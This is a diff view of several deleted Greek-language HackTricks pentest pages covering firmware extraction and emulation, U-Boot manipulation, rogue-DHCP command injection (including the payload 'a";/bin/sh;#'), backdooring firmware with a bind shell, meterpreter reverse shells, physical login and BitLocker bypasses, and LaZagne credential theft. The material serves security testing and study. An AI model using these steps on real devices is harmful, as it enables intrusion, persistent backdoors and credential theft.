- Αρχιτεκτονικά και ροές διαγράμματα
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
Για αυτό το σκοπό, τα εργαλεία **open-source intelligence (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
## **Απόκτηση του Firmware**
Η απόκτηση του firmware μπορεί να προσεγγιστεί μέσω διαφόρων μέσων, καθένα με το δικό του επίπεδο πολυπλοκότητας:
- **Άμεσα** από την πηγή (προγραμματιστές, κατασκευαστές)
- **Κατασκευάζοντας** το από τις παρεχόμενες οδηγίες
- **Κατεβάζοντας** από επίσημες ιστοσελίδες υποστήριξης
- Χρησιμοποιώντας **Google dork** ερωτήματα για την εύρεση φιλοξενούμενων αρχείων firmware
- Πρόσβαση σε **cloud storage** απευθείας, με εργαλεία όπως το [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Παρεμβολή **ενημερώσεων** μέσω τεχνικών man-in-the-middle
- **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG**, ή **PICit**
- **Sniffing** για αιτήματα ενημερώσεων εντός της επικοινωνίας της συσκευής
- Αναγνώριση και χρήση **σκληρά κωδικοποιημένων σημείων ενημέρωσης**
- **Dumping** από τον bootloader ή το δίκτυο
- **Αφαίρεση και ανάγνωση** του τσιπ αποθήκευσης, όταν όλα τα άλλα αποτύχουν, χρησιμοποιώντας κατάλληλα εργαλεία υλικού
## Ανάλυση του firmware
Τώρα που **έχετε το firmware**, πρέπει να εξαγάγετε πληροφορίες σχετικά με αυτό για να ξέρετε πώς να το χειριστείτε. Διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτό:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`. Αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξαγάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
{{#ref}}
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Ή [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) για να επιθεωρήσετε το αρχείο.
### Λήψη του Συστήματος Αρχείων
Με τα προηγούμενα εργαλεία όπως το `binwalk -ev <bin>`, θα έπρεπε να έχετε μπορέσει να **εξαγάγετε το σύστημα αρχείων**.\
Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο που ονομάζεται όπως ο τύπος του συστήματος αρχείων**, ο οποίος συνήθως είναι ένας από τους εξής: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων
Μερικές φορές, το binwalk δεν θα **έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να carve το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξαγάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Εκτελέστε την παρακάτω **εντολή dd** για να αποσπάσετε το σύστημα αρχείων Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Εναλλακτικά, η παρακάτω εντολή θα μπορούσε επίσης να εκτελεστεί.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Για squashfs (χρησιμοποιούμενο στο παραπάνω παράδειγμα)
`$ unsquashfs dir.squashfs`
Τα αρχεία θα βρίσκονται στον φάκελο "`squashfs-root`" μετά.
- Αρχεία αρχείου CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- Για συστήματα αρχείων jffs2
`$ jefferson rootfsfile.jffs2`
- Για συστήματα αρχείων ubifs με NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Ανάλυση Firmware
Μόλις αποκτηθεί το firmware, είναι απαραίτητο να το αναλύσουμε για να κατανοήσουμε τη δομή του και τις πιθανές ευπάθειες. Αυτή η διαδικασία περιλαμβάνει τη χρήση διαφόρων εργαλείων για την ανάλυση και την εξαγωγή πολύτιμων δεδομένων από την εικόνα του firmware.
### Εργαλεία Αρχικής Ανάλυσης
Ένα σύνολο εντολών παρέχεται για την αρχική επιθεώρηση του δυαδικού αρχείου (αναφερόμενο ως `<bin>`). Αυτές οι εντολές βοηθούν στην αναγνώριση τύπων αρχείων, στην εξαγωγή συμβολοσειρών, στην ανάλυση δυαδικών δεδομένων και στην κατανόηση των λεπτομερειών του διαμερίσματος και του συστήματος αρχείων:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με το `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
Για την εξαγωγή **ενσωματωμένων αρχείων**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων.
### Εξαγωγή του Συστήματος Αρχείων
Χρησιμοποιώντας το `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω απουσίας μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Μετά, ανάλογα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διαφορετικές εντολές για την χειροκίνητη εξαγωγή των περιεχομένων.
### Ανάλυση Συστήματος Αρχείων
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν.
## Προσομοίωση Firmware για Δυναμική Ανάλυση
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
### Προσομοίωση Μεμονωμένων Δυαδικών
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
#### Παράδειγμα με Αρχιτεκτονική MIPS
Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί κανείς να χρησιμοποιήσει την εντολή:
```bash
file ./squashfs-root/bin/busybox
```
Και για να εγκαταστήσετε τα απαραίτητα εργαλεία προσομοίωσης:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Για MIPS (big-endian), χρησιμοποιείται το `qemu-mips`, και για little-endian δυαδικά, η επιλογή είναι το `qemu-mipsel`.
#### Προσομοίωση Αρχιτεκτονικής ARM
Για τα δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
### Πλήρης Προσομοίωση Συστήματος
Εργαλεία όπως το [Firmadyne](https://github.com/firmadyne/firmadyne), το [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), και άλλα, διευκολύνουν την πλήρη προσομοίωση firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στην δυναμική ανάλυση.
## Δυναμική Ανάλυση στην Πράξη
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το σύστημα αρχείων, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης
Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τη ρύθμιση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών.
## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας
Η ανάπτυξη ενός PoC για αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
## Ευάλωτο firmware για πρακτική
Για να εξασκηθείτε στην ανακάλυψη ευπαθειών σε firmware, χρησιμοποιήστε τα παρακάτω ευάλωτα έργα firmware ως σημείο εκκίνησης.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Το Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Αναφορές
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Εκπαίδευση και Πιστοποίηση
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Τα παρακάτω βήματα συνιστώνται για την τροποποίηση των ρυθμίσεων εκκίνησης συσκευών και των bootloaders όπως το U-boot:
1. **Πρόσβαση στο Shell του Interpreter του Bootloader**:
- Κατά την εκκίνηση, πατήστε "0", space ή άλλους αναγνωρισμένους "μαγικούς κωδικούς" για να αποκτήσετε πρόσβαση στο shell του interpreter του bootloader.
2. **Τροποποίηση Boot Arguments**:
- Εκτελέστε τις παρακάτω εντολές για να προσθέσετε '`init=/bin/sh`' στα boot arguments, επιτρέποντας την εκτέλεση μιας εντολής shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **Ρύθμιση TFTP Server**:
- Ρυθμίστε έναν TFTP server για να φορτώσετε εικόνες μέσω τοπικού δικτύου:
%%%
#setenv ipaddr 192.168.2.2 #τοπική IP της συσκευής
#setenv serverip 192.168.2.1 #IP του TFTP server
#saveenv
#reset
#ping 192.168.2.1 #έλεγχος πρόσβασης στο δίκτυο
#tftp ${loadaddr} uImage-3.6.35 #loadaddr παίρνει τη διεύθυνση για να φορτώσει το αρχείο και το όνομα του αρχείου στην TFTP server
%%%
4. **Χρήση του `ubootwrite.py`**:
- Χρησιμοποιήστε το `ubootwrite.py` για να γράψετε την εικόνα U-boot και να σπρώξετε ένα τροποποιημένο firmware για να αποκτήσετε πρόσβαση root.
5. **Έλεγχος Λειτουργιών Debug**:
- Επαληθεύστε αν οι λειτουργίες debug όπως η λεπτομερής καταγραφή, η φόρτωση αυθαίρετων πυρήνων ή η εκκίνηση από μη αξιόπιστες πηγές είναι ενεργοποιημένες.
6. **Προσοχή σε Υλικοτεχνικές Παρεμβολές**:
- Να είστε προσεκτικοί όταν συνδέετε ένα ακίδα στο έδαφος και αλληλεπιδράτε με τσιπ SPI ή NAND flash κατά τη διάρκεια της διαδικασίας εκκίνησης της συσκευής, ιδιαίτερα πριν αποσυμπιεστεί ο πυρήνας. Συμβουλευτείτε το datasheet του τσιπ NAND flash πριν βραχυκυκλώσετε ακίδες.
7. **Ρύθμιση Rogue DHCP Server**:
- Ρυθμίστε έναν rogue DHCP server με κακόβουλες παραμέτρους για να τις καταναλώσει η συσκευή κατά την εκκίνηση PXE. Χρησιμοποιήστε εργαλεία όπως το DHCP auxiliary server του Metasploit (MSF). Τροποποιήστε την παράμετρο 'FILENAME' με εντολές injection όπως `'a";/bin/sh;#'` για να δοκιμάσετε την επικύρωση εισόδου για τις διαδικασίες εκκίνησης της συσκευής.
**Σημείωση**: Τα βήματα που περιλαμβάνουν φυσική αλληλεπίδραση με τις ακίδες της συσκευής (\*σημειωμένα με αστερίσκους) θα πρέπει να προσεγγίζονται με εξαιρετική προσοχή για να αποφευχθεί η ζημιά στη συσκευή.
## Αναφορές
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
## Ακεραιότητα Firmware
Το **προσαρμοσμένο firmware και/ή οι μεταγλωττισμένες δυαδικές μπορεί να ανέβουν για να εκμεταλλευτούν αδυναμίες στην ακεραιότητα ή την επαλήθευση υπογραφής**. Τα παρακάτω βήματα μπορούν να ακολουθηθούν για τη μεταγλώττιση backdoor bind shell:
1. Το firmware μπορεί να εξαχθεί χρησιμοποιώντας το firmware-mod-kit (FMK).
2. Η αρχιτεκτονική και η εντολή του στόχου firmware θα πρέπει να προσδιοριστούν.
3. Ένας cross compiler μπορεί να κατασκευαστεί χρησιμοποιώντας το Buildroot ή άλλες κατάλληλες μεθόδους για το περιβάλλον.
4. Η backdoor μπορεί να κατασκευαστεί χρησιμοποιώντας τον cross compiler.
5. Η backdoor μπορεί να αντιγραφεί στον κατάλογο /usr/bin του εξαχθέντος firmware.
6. Το κατάλληλο δυαδικό QEMU μπορεί να αντιγραφεί στο rootfs του εξαχθέντος firmware.
7. Η backdoor μπορεί να προσομοιωθεί χρησιμοποιώντας chroot και QEMU.
8. Η backdoor μπορεί να προσπελαστεί μέσω netcat.
9. Το δυαδικό QEMU θα πρέπει να αφαιρεθεί από το rootfs του εξαχθέντος firmware.
10. Το τροποποιημένο firmware μπορεί να επανασυσκευαστεί χρησιμοποιώντας το FMK.
11. Το backdoored firmware μπορεί να δοκιμαστεί προσομοιώνοντάς το με το εργαλείο ανάλυσης firmware (FAT) και συνδέοντας τη διεύθυνση IP και την πόρτα της backdoor του στόχου χρησιμοποιώντας το netcat.
Εάν έχει ήδη αποκτηθεί ένα root shell μέσω δυναμικής ανάλυσης, χειρισμού bootloader ή δοκιμών ασφάλειας υλικού, μπορούν να εκτελούνται προcompiled κακόβουλες δυαδικές όπως εμφυτεύματα ή αντίστροφες θήκες. Αυτοματοποιημένα εργαλεία payload/implant όπως το Metasploit framework και το 'msfvenom' μπορούν να αξιοποιηθούν χρησιμοποιώντας τα παρακάτω βήματα:
1. Η αρχιτεκτονική και η εντολή του στόχου firmware θα πρέπει να προσδιοριστούν.
2. Το msfvenom μπορεί να χρησιμοποιηθεί για να καθορίσει το payload στόχου, τη διεύθυνση IP του επιτιθέμενου, τον αριθμό θύρας ακρόασης, τον τύπο αρχείου, την αρχιτεκτονική, την πλατφόρμα και το αρχείο εξόδου.
3. Το payload μπορεί να μεταφερθεί στη συμβιβασμένη συσκευή και να διασφαλιστεί ότι έχει δικαιώματα εκτέλεσης.
4. Το Metasploit μπορεί να προετοιμαστεί για να διαχειριστεί τις εισερχόμενες αιτήσεις ξεκινώντας το msfconsole και ρυθμίζοντας τις ρυθμίσεις σύμφωνα με το payload.
5. Η αντίστροφη θήκη meterpreter μπορεί να εκτελεστεί στη συμβιβασμένη συσκευή.
6. Οι συνεδρίες meterpreter μπορούν να παρακολουθούνται καθώς ανοίγουν.
7. Δραστηριότητες μετά την εκμετάλλευση μπορούν να εκτελούνται.
Εάν είναι δυνατόν, οι ευπάθειες εντός των startup scripts μπορούν να εκμεταλλευτούν για να αποκτήσουν μόνιμη πρόσβαση σε μια συσκευή κατά τη διάρκεια επανεκκινήσεων. Αυτές οι ευπάθειες προκύπτουν όταν τα startup scripts αναφέρονται, [συμβολικά συνδέονται](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ή εξαρτώνται από κώδικα που βρίσκεται σε μη αξιόπιστες τοποθεσίες που έχουν προσαρτηθεί, όπως κάρτες SD και flash volumes που χρησιμοποιούνται για την αποθήκευση δεδομένων εκτός των root file systems.
## Αναφορές
- Για περισσότερες πληροφορίες ελέγξτε [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,57 +0,0 @@
# Φυσικές Επιθέσεις
{{#include ../banners/hacktricks-training.md}}
## Ανάκτηση Κωδικού BIOS και Ασφάλεια Συστήματος
**Επαναφορά του BIOS** μπορεί να επιτευχθεί με διάφορους τρόπους. Οι περισσότερες μητρικές πλακέτες περιλαμβάνουν μια **μπαταρία** που, όταν αφαιρεθεί για περίπου **30 λεπτά**, θα επαναφέρει τις ρυθμίσεις του BIOS, συμπεριλαμβανομένου του κωδικού πρόσβασης. Εναλλακτικά, μπορεί να ρυθμιστεί ένας **jumper στη μητρική πλακέτα** για να επαναφέρει αυτές τις ρυθμίσεις συνδέοντας συγκεκριμένες ακίδες.
Για καταστάσεις όπου οι υλικές ρυθμίσεις δεν είναι δυνατές ή πρακτικές, τα **εργαλεία λογισμικού** προσφέρουν μια λύση. Η εκτέλεση ενός συστήματος από ένα **Live CD/USB** με διανομές όπως το **Kali Linux** παρέχει πρόσβαση σε εργαλεία όπως το **_killCmos_** και το **_CmosPWD_**, τα οποία μπορούν να βοηθήσουν στην ανάκτηση του κωδικού BIOS.
Σε περιπτώσεις όπου ο κωδικός BIOS είναι άγνωστος, η λανθασμένη εισαγωγή του **τρεις φορές** θα έχει συνήθως ως αποτέλεσμα έναν κωδικό σφάλματος. Αυτός ο κωδικός μπορεί να χρησιμοποιηθεί σε ιστοσελίδες όπως το [https://bios-pw.org](https://bios-pw.org) για να ανακτηθεί πιθανώς ένας χρήσιμος κωδικός.
### Ασφάλεια UEFI
Για σύγχρονα συστήματα που χρησιμοποιούν **UEFI** αντί για παραδοσιακό BIOS, το εργαλείο **chipsec** μπορεί να χρησιμοποιηθεί για την ανάλυση και τροποποίηση των ρυθμίσεων UEFI, συμπεριλαμβανομένης της απενεργοποίησης του **Secure Boot**. Αυτό μπορεί να επιτευχθεί με την ακόλουθη εντολή:
`python chipsec_main.py -module exploits.secure.boot.pk`
### Ανάλυση RAM και Επιθέσεις Ψυχρού Εκκίνησης
Η RAM διατηρεί δεδομένα για λίγο μετά την διακοπή ρεύματος, συνήθως για **1 έως 2 λεπτά**. Αυτή η επιμονή μπορεί να παραταθεί σε **10 λεπτά** με την εφαρμογή ψυχρών ουσιών, όπως το υγρό άζωτο. Κατά τη διάρκεια αυτής της παρατεταμένης περιόδου, μπορεί να δημιουργηθεί ένα **memory dump** χρησιμοποιώντας εργαλεία όπως το **dd.exe** και το **volatility** για ανάλυση.
### Επιθέσεις Άμεσης Πρόσβασης Μνήμης (DMA)
**INCEPTION** είναι ένα εργαλείο σχεδιασμένο για **φυσική χειραγώγηση μνήμης** μέσω DMA, συμβατό με διεπαφές όπως το **FireWire** και το **Thunderbolt**. Επιτρέπει την παράκαμψη διαδικασιών σύνδεσης με την επιδιόρθωση της μνήμης για να αποδεχτεί οποιονδήποτε κωδικό πρόσβασης. Ωστόσο, είναι αναποτελεσματικό κατά των συστημάτων **Windows 10**.
### Live CD/USB για Πρόσβαση στο Σύστημα
Η αλλαγή συστημικών δυαδικών αρχείων όπως το **_sethc.exe_** ή το **_Utilman.exe_** με ένα αντίγραφο του **_cmd.exe_** μπορεί να παρέχει μια γραμμή εντολών με δικαιώματα συστήματος. Εργαλεία όπως το **chntpw** μπορούν να χρησιμοποιηθούν για την επεξεργασία του αρχείου **SAM** μιας εγκατάστασης Windows, επιτρέποντας αλλαγές κωδικών.
**Kon-Boot** είναι ένα εργαλείο που διευκολύνει την είσοδο σε συστήματα Windows χωρίς να γνωρίζετε τον κωδικό πρόσβασης, τροποποιώντας προσωρινά τον πυρήνα των Windows ή το UEFI. Περισσότερες πληροφορίες μπορείτε να βρείτε στο [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Διαχείριση Χαρακτηριστικών Ασφαλείας των Windows
#### Συντομεύσεις Εκκίνησης και Ανάκτησης
- **Supr**: Πρόσβαση στις ρυθμίσεις BIOS.
- **F8**: Είσοδος σε λειτουργία Ανάκτησης.
- Πατώντας **Shift** μετά την μπάνερ των Windows μπορεί να παρακαμφθεί η αυτόματη σύνδεση.
#### Συσκευές BAD USB
Συσκευές όπως το **Rubber Ducky** και το **Teensyduino** χρησιμεύουν ως πλατφόρμες για τη δημιουργία **bad USB** συσκευών, ικανών να εκτελούν προκαθορισμένα payloads όταν συνδεθούν σε έναν υπολογιστή-στόχο.
#### Αντίγραφο Σκιάς Όγκου
Δικαιώματα διαχειριστή επιτρέπουν τη δημιουργία αντιγράφων ευαίσθητων αρχείων, συμπεριλαμβανομένου του αρχείου **SAM**, μέσω PowerShell.
### Παράκαμψη Κρυπτογράφησης BitLocker
Η κρυπτογράφηση BitLocker μπορεί ενδεχομένως να παρακαμφθεί αν ο **κωδικός ανάκτησης** βρεθεί μέσα σε ένα αρχείο memory dump (**MEMORY.DMP**). Εργαλεία όπως το **Elcomsoft Forensic Disk Decryptor** ή το **Passware Kit Forensic** μπορούν να χρησιμοποιηθούν για αυτό το σκοπό.
### Κοινωνική Μηχανική για Προσθήκη Κωδικού Ανάκτησης
Ένας νέος κωδικός ανάκτησης BitLocker μπορεί να προστεθεί μέσω τακτικών κοινωνικής μηχανικής, πείθοντας έναν χρήστη να εκτελέσει μια εντολή που προσθέτει έναν νέο κωδικό ανάκτησης που αποτελείται από μηδενικά, απλοποιώντας έτσι τη διαδικασία αποκρυπτογράφησης.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,16 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
## **Τοπικό l00t**
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Αυτά τα σενάρια, εκτός από την αναζήτηση PE vectors, θα αναζητήσουν ευαίσθητες πληροφορίες μέσα στο σύστημα αρχείων.
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Το **LaZagne project** είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για **να ανακτήσει πολλές κωδικούς πρόσβασης** που είναι αποθηκευμένοι σε έναν τοπικό υπολογιστή. Κάθε λογισμικό αποθηκεύει τους κωδικούς πρόσβασης του χρησιμοποιώντας διαφορετικές τεχνικές (καθαρού κειμένου, APIs, προσαρμοσμένους αλγόριθμους, βάσεις δεδομένων, κ.λπ.). Αυτό το εργαλείο έχει αναπτυχθεί με σκοπό να βρει αυτούς τους κωδικούς πρόσβασης για το πιο κοινά χρησιμοποιούμενο λογισμικό.
## **Εξωτερικές Υπηρεσίες**
